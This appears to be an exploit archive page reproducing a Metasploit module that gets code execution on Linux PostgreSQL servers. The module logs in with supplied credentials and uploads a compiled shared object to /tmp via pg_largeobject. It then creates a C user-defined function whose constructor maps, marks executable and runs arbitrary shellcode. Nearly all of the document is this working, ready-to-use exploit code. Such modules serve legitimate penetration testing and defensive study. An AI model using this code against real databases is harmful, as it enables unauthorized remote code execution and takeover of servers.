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PostgreSQL for Linux Payload Execution

PostgreSQL for Linux Payload Execution
Posted Dec 15, 2012
Authored by egypt, todb, midnitesnake | Site metasploit.com

On some default Linux installations of PostgreSQL, the postgres service account may write to the /tmp directory, and may source UDF Shared Libraries from there as well, allowing execution of arbitrary code. This Metasploit module compiles a Linux shared object file, uploads it to the target host via the UPDATE pg_largeobject method of binary injection, and creates a UDF (user defined function) from that shared object. Because the payload is run as the shared object's constructor, it does not need to conform to specific Postgres API versions.

tags | exploit, arbitrary
systems | linux
MD5 | 03d39ba3ca97edacf964b7dc85b57216

PostgreSQL for Linux Payload Execution

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###
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'msf/core/exploit/postgres'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report

# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL for Linux Payload Execution',
'Description' => %q{
On some default Linux installations of PostgreSQL, the
postgres service account may write to the /tmp directory, and
may source UDF Shared Libraries's from there as well, allowing
execution of arbitrary code.

This module compiles a Linux shared object file, uploads it to
the target host via the UPDATE pg_largeobject method of binary
injection, and creates a UDF (user defined function) from that
shared object. Because the payload is run as the shared object's
constructor, it does not need to conform to specific Postgres
API versions.
},
'Author' =>
[
'midnitesnake', # this Metasploit module
'egypt', # on-the-fly compiled .so technique
'todb' # original windows module this is based on
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'URL', 'http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt' ]
],
'Platform' => 'linux',
'Payload' =>
{
'Space' => 65535,
'DisableNops' => true,
},
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X86_64 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 05 2007'

))

deregister_options('SQL', 'RETURN_ROWSET')
end

# Buncha stuff to make typing easier.
def username; datastore['USERNAME']; end
def password; datastore['PASSWORD']; end
def database; datastore['DATABASE']; end
def rhost; datastore['rhost']; end
def rport; datastore['rport']; end
def verbose; datastore['VERBOSE']; end
def bits; datastore['BITS'];end

def execute_command(cmd, opts)
postgres_sys_exec(cmd)
end

def exploit
version = do_login(username,password,database)
case version
when :noauth; print_error "Authentication failed."; return
when :noconn; print_error "Connection failed."; return
else
print_status("#{rhost}:#{rport} - #{version}")
end

fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
tbl,fld,so,oid = postgres_upload_binary_data(payload_so(fname), fname)

unless tbl && fld && so && oid
print_error "Could not upload the UDF SO"
return
end

print_status "Uploaded #{so} as OID #{oid} to table #{tbl}(#{fld})"
begin
func_name = Rex::Text.rand_text_alpha(10)
postgres_query(
"create or replace function pg_temp.#{func_name}()"+
" returns void as '#{so}','#{func_name}'"+
" language 'C' strict immutable"
)
rescue
end
postgres_logout if @postgres_conn

end


# Authenticate to the postgres server.
#
# Returns the version from #postgres_fingerprint
def do_login(user=nil,pass=nil,database=nil)
begin
password = pass || postgres_password
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
result = postgres_fingerprint(
:db => database,
:username => user,
:password => password
)
if result[:auth]
report_service(
:host => rhost,
:port => rport,
:name => "postgres",
:info => result.values.first
)
return result[:auth]
else
return :noauth
end
rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError
return :noconn
end
end


def payload_so(filename)
shellcode = Rex::Text.to_hex(payload.encoded, "\\x")
#shellcode = "\\xcc"

c = %Q^
int _exit(int);
int printf(const char*, ...);
int perror(const char*);
void *mmap(int, int, int, int, int, int);
void *memcpy(void *, const void *, int);
int mprotect(void *, int, int);
int fork();
int unlink(const char *pathname);

#define MAP_PRIVATE 2
#define MAP_ANONYMOUS 32
#define PROT_READ 1
#define PROT_WRITE 2
#define PROT_EXEC 4

#define PAGESIZE 0x1000

char shellcode[] = "#{shellcode}";

void run_payload(void) __attribute__((constructor));

void run_payload(void)
{
int (*fp)();
fp = mmap(0, PAGESIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);

memcpy(fp, shellcode, sizeof(shellcode));
if (mprotect(fp, PAGESIZE, PROT_READ|PROT_WRITE|PROT_EXEC)) {
_exit(1);
}
if (!fork()) {
fp();
}

unlink("#{filename}");
return;
}

^

cpu = case target_arch.first
when ARCH_X86; Metasm::Ia32.new
when ARCH_X86_64; Metasm::X86_64.new
end
payload_so = Metasm::ELF.compile_c(cpu, c, "payload.c")

so_file = payload_so.encode_string(:lib)

so_file
end
end

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